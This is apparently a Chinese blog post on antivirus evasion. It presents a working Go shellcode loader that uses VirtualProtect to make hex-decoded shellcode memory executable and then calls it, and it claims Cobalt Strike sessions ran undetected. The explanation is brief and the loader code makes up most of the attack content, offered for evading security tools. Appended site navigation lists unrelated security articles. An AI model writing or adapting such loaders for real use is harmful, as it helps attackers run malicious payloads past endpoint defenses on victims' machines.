我的免杀之路:虚拟保护

简介: 虚拟保护技术利用的是 Windows API 中的 VirtualProtect 函数,是对应 Win32 函数的逻辑包装函数,它会在呼叫处理程序的虚拟位置空间里,变更认可页面区域上的保护。

简述


虚拟保护技术利用的是 Windows API 中的 VirtualProtect 函数,是对应 Win32 函数的逻辑包装函数,它会在呼叫处理程序的虚拟位置空间里,变更认可页面区域上的保护。说明白点,它的作用就是改变调用进程的一段页的保护属性,如果想要改变其他进程,就需要用到 VirtualProtectEx 函数。这里,我利用 VirtualProtect 函数将 shellcode 所在内存区域设置为可执行模式,并且设置好 shellcode 所在内存起始地址以及内存原始属性类型保存地址,这样的 shellcode 内存区域被设置成可执行模式后,shellcode 就会被正常执行了。


实现思路


关于VirtualProtect函数代码如下:

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {

ret, _, _ := procVirtualProtect.Call(

uintptr(lpAddress),

uintptr(dwSize),

uintptr(flNewProtect),

uintptr(lpflOldProtect))

return ret > 0

}


简单的解释下以上的参数

lpAddress:要改变属性的内存起始地址(shellcode所在内存空间的起始地址)

dwSize:要改变属性的内存区域大小(shellcode长度大小)

flNewProtect:内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行。(此值为0x40)

备注:为什么是0x40,这个值怎么来的。下方链接有介绍哈,这里我简单解释一下。这是填的是内存保护常数,常数的值不同所对应的功能也不一样,对照链接里面的描述,因为现在我需要这个内存区域的可执行权限和写权限,所以这里的值必须得是0x40才能满足我的需求。

https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants

lpflOldProtect:内存原始属性类型保存地址。


再来看看核心代码部分:

func ShellCodeVirtualProtect(sc string) {

f := func() {}

var oldfperms uint32

if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {

panic("Call to VirtualProtect failed!")

}

ds, _ := hex.DecodeString(sc)

**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&ds))

var oldshellcodeperms uint32

if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&ds))), uintptr(len(ds)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {

panic("Call to VirtualProtect failed!")

}

f()

}


可见其核心就是利用 VirtualProtect 函数实现,ds 就是 shellcode。如果函数成功,则返回值非零。如果函数失败,则返回值为零。

 

最后的CS上线免杀效果:

图片1.png

图片2.png

图片3.png


参考资料:

https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect

https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants

https://blog.csdn.net/weixin_34004576/article/details/90360650

https://blog.csdn.net/zacklin/article/details/7478118



目录
相关文章
|
3月前
|
网络协议 安全 算法
网络空间安全之一个WH的超前沿全栈技术深入学习之路(9):WireShark 简介和抓包原理及实战过程一条龙全线分析——就怕你学成黑客啦!
实战:WireShark 抓包及快速定位数据包技巧、使用 WireShark 对常用协议抓包并分析原理 、WireShark 抓包解决服务器被黑上不了网等具体操作详解步骤;精典图示举例说明、注意点及常见报错问题所对应的解决方法IKUN和I原们你这要是学不会我直接退出江湖;好吧!!!
网络空间安全之一个WH的超前沿全栈技术深入学习之路(9):WireShark 简介和抓包原理及实战过程一条龙全线分析——就怕你学成黑客啦!
|
3月前
|
安全 网络协议 算法
网络空间安全之一个WH的超前沿全栈技术深入学习之路(8-1):主动信息收集之ping、Nmap 就怕你学成黑客啦!
网络空间安全之一个WH的超前沿全栈技术深入学习之路(8-1):主动信息收集之ping、Nmap 就怕你学成黑客啦!
|
3月前
|
网络协议 安全 NoSQL
网络空间安全之一个WH的超前沿全栈技术深入学习之路(8-2):scapy 定制 ARP 协议 、使用 nmap 进行僵尸扫描-实战演练、就怕你学成黑客啦!
scapy 定制 ARP 协议 、使用 nmap 进行僵尸扫描-实战演练等具体操作详解步骤;精典图示举例说明、注意点及常见报错问题所对应的解决方法IKUN和I原们你这要是学不会我直接退出江湖;好吧!!!
网络空间安全之一个WH的超前沿全栈技术深入学习之路(8-2):scapy 定制 ARP 协议 、使用 nmap 进行僵尸扫描-实战演练、就怕你学成黑客啦!
|
3月前
|
网络协议 安全 算法
网络空间安全之一个WH的超前沿全栈技术深入学习之路(9-2):WireShark 简介和抓包原理及实战过程一条龙全线分析——就怕你学成黑客啦!
实战:WireShark 抓包及快速定位数据包技巧、使用 WireShark 对常用协议抓包并分析原理 、WireShark 抓包解决服务器被黑上不了网等具体操作详解步骤;精典图示举例说明、注意点及常见报错问题所对应的解决方法IKUN和I原们你这要是学不会我直接退出江湖;好吧!!!
|
9月前
|
算法 搜索推荐 开发工具
探索代码的奥秘:技术感悟与实践探索操作系统的心脏:内核
【5月更文挑战第31天】在数字世界的编织中,每一行代码都承载着创造者的智慧和汗水。本文将带你深入编程的核心,揭示那些隐藏在日常开发实践中的技术真谛。从算法的精妙到系统的架构,我们将一同探讨如何通过技术提升效率,解决问题,并在这个过程中获得个人成长。 【5月更文挑战第31天】本文深入剖析了操作系统的核心组件——内核,探讨了其设计哲学、功能职责以及在现代计算环境中的重要性。通过分析内核的工作原理和它如何与硬件、软件交互,我们将揭示这个隐藏在用户界面背后的力量之源。
|
5月前
常见端口渗透导图
常见端口渗透导图
16 0
|
8月前
|
存储 传感器 数据处理
技术好文共享:计算机发展历程
技术好文共享:计算机发展历程
99 0
|
SQL 数据库
计算机基础书的学习 计算机网络原理 操作系统 编译原理 数据库原理 计算机网络原理 五本基础书学习
计算机基础书的学习 计算机网络原理 操作系统 编译原理 数据库原理 计算机网络原理 五本基础书学习
|
人工智能 算法 架构师
计算机学习路线规划,和我一同打开计算机学习的大门吧!
计算机学习路线规划,和我一同打开计算机学习的大门吧!
248 0
计算机学习路线规划,和我一同打开计算机学习的大门吧!
|
算法 前端开发 JavaScript
聊一聊我的计算机学习经历吧(一)
hey guys ,我是 cxuan,这一篇文章我就要和你聊聊编程如何学习,这一篇文章涉及的内容简直太多了,我将从入门开始,一步一步到如何提高,然后到一些学习的相关问题,还有一些计算机相关的术语等,干货也非常多,准备好了吗?那么我们开始吧。
聊一聊我的计算机学习经历吧(一)